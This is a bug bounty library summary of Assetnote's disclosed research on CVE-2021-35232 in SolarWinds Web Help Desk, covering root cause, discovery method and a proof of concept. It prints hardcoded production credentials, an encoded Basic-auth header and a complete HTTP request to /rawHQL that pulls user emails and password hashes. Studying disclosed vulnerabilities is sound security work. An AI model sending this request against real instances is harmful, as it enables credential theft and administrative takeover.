# Solarwinds Web Help Desk: When the Helpdesk is too Helpful

Hardcoded integration credentials in SolarWinds Web Help Desk grant access to a /rawHQL endpoint that executes arbitrary Hibernate queries, leaking admin password hashes.

- Payout: Research
- Severity: critical
- Program: SolarWinds
- Found by (vendor credit): Shubham Shah
- Write-up by: Assetnote
- Disclosed: 2024-01-31
- CVE: CVE-2021-35232
- Write-up quality: 8/10
- Original: https://www.assetnote.io/resources/research/solarwinds-web-help-desk-when-the-helpdesk-is-too-helpful
- Library page: https://bugbountylibrary.com/r/blog%3Aassetnote-io-resources-research-solarwinds-web-help-desk-when-the-helpdesk-is-too-helpful
- Tags: area:web domain:web impact:ato impact:data-leak kind:research platform:research sev:critical tech:java technique:default-creds technique:source-review vuln:auth-bypass vuln:secrets-leak vuln:sqli

**Target:** Java Spring/WebObjects helpdesk web application
**Root cause:** Production integration credentials are hardcoded in ConstantsAndSettings.java and accepted by HelpdeskIntegrationAuthenticationManager, which only gates on a loopback check that fails behind a same-host reverse proxy. The authenticated /assetReport/rawHQL controller passes the request body directly to entityManager.createQuery().
**Steps:**
1. Locate hardcoded creds in ConstantsAndSettings.java: loginName `helpdesk91114AD77B4CDCD9E18771057190C08B`, password `1A11E431853F4CC99C27BF729479EB5D`
2. Confirm whd-security.xml maps `/assetReport/**` to helpdeskIntegrationAuthenticationManager with ROLE_INTEGRATION
3. Ensure request.getRemoteAddr() is loopback (deploy behind same-host reverse proxy)
4. Send `POST /helpdesk/assetReport/rawHQL` with `Authorization: Basic aGVscGRlc2s5MTExNEFENzdCNENEQ0Q5RTE4NzcxMDU3MTkwQzA4QjoxQTExRTQzMTg1M0Y0Q0M5OUMyN0JGNzI5NDc5RUI1RA==`, `Content-Type: text/plain`, body `select email,password from Tech`
5. Read returned password hashes from response
**How found:** Mapped WebObjects routes via regex `database.*test` on Application.java and Spring routes via @RequestMapping. While reading every JSP, found hardcoded dev creds in orionIntegrationTest.jsp, grepped for `dev-C4F8025E7`, and discovered production creds in ConstantsAndSettings.java. Traced auth managers via whd-security.xml, then audited accessible controllers and found /rawHQL.
**Exploitation:** Attacker with network access to a Web Help Desk instance fronted by a same-host reverse proxy sends a Basic-auth POST to /assetReport/rawHQL using the hardcoded production credentials. The text/plain body is evaluated as HQL, returning user emails and password hashes; INSERT/UPDATE/DELETE also possible for any mapped Hibernate model.
**Escalation:** Extracted admin password hashes enable offline cracking and full administrative takeover; write operations allow data tampering.
**Insight:** Grep every JSP/JS asset for credential-looking strings and pivot on them across the codebase; test-only files often leak production secrets. Also, loopback-only auth checks are void when the app sits behind a same-host reverse proxy.

## Proof of concept (copied exactly from the original report)

**POST rawHQL request executing arbitrary HQL**

```
POST /helpdesk/assetReport/rawHQL HTTP/1.1
Host: re.local:8081
Accept: text/javascript, text/html, application/xml, text/xml, */*
X-Prototype-Version: 1.7
DNT: 1
X-XSRF-TOKEN: 712c84a6-b963-441a-9e2a-f16abdeafe39
X-Requested-With: XMLHttpRequest
Authorization: Basic aGVscGRlc2s5MTExNEFENzdCNENEQ0Q5RTE4NzcxMDU3MTkwQzA4QjoxQTExRTQzMTg1M0Y0Q0M5OUMyN0JGNzI5NDc5RUI1RA==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36
Referer: http://re.local:8081/helpdesk/WebObjects/Helpdesk.woa/wo/25.7.11.0.6.1.1.3
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: whdticketstab=mine; XSRF-TOKEN=712c84a6-b963-441a-9e2a-f16abdeafe39;
Connection: close
Content-Type: text/plain
Content-Length: 31

select email,password from Tech
```

**Hardcoded production and development credentials constants**

```
public static final String HELPDESKINTEGRATION_PRODUCTION_LOGINNAME = "helpdesk91114AD77B4CDCD9E18771057190C08B";
  
  public static final String HELPDESKINTEGRATION_PRODUCTION_PASSWORD = "1A11E431853F4CC99C27BF729479EB5D";
  
  public static final String HELPDESKINTEGRATION_DEVELOPMENT_LOGINNAME = "helpdeskIntegrationUser";
  
  public static final String HELPDESKINTEGRATION_DEVELOPMENT_PASSWORD = "dev-C4F8025E7";
```

**rawHQL controller and HQL query sink**

```
@RequestMapping(value = {"/rawHQL"}, method = {RequestMethod.POST})
/*     */   @ResponseBody
/*     */   @ResponseStatus(HttpStatus.OK)
/*     */   public String getStringResult(@RequestBody String selectHQL) throws Exception {
/*  36 */     logger.debug("Received request for result of this hql={}", selectHQL);
/*  37 */     return this.assetReportService.getStringHQLResult(selectHQL);
```

## Write-ups of the same bug (oldest first)
- 2024-01-31: [Solarwinds Web Help Desk: When the Helpdesk is too Helpful](https://bugbountylibrary.com/r/blog%3Aassetnote-io-resources-research-solarwinds-web-help-desk-when-the-helpdesk-is-too-helpful) — Assetnote (this one)
- 2024-01-31: [Advisory: Solarwinds Web Help Desk Arbitrary HQL Evaluation (CVE-2021-35232)](https://bugbountylibrary.com/r/blog%3Aassetnote-io-resources-research-advisory-solarwinds-web-help-desk-arbitrary-hql-evaluation-cve-2021-35232) — Assetnote

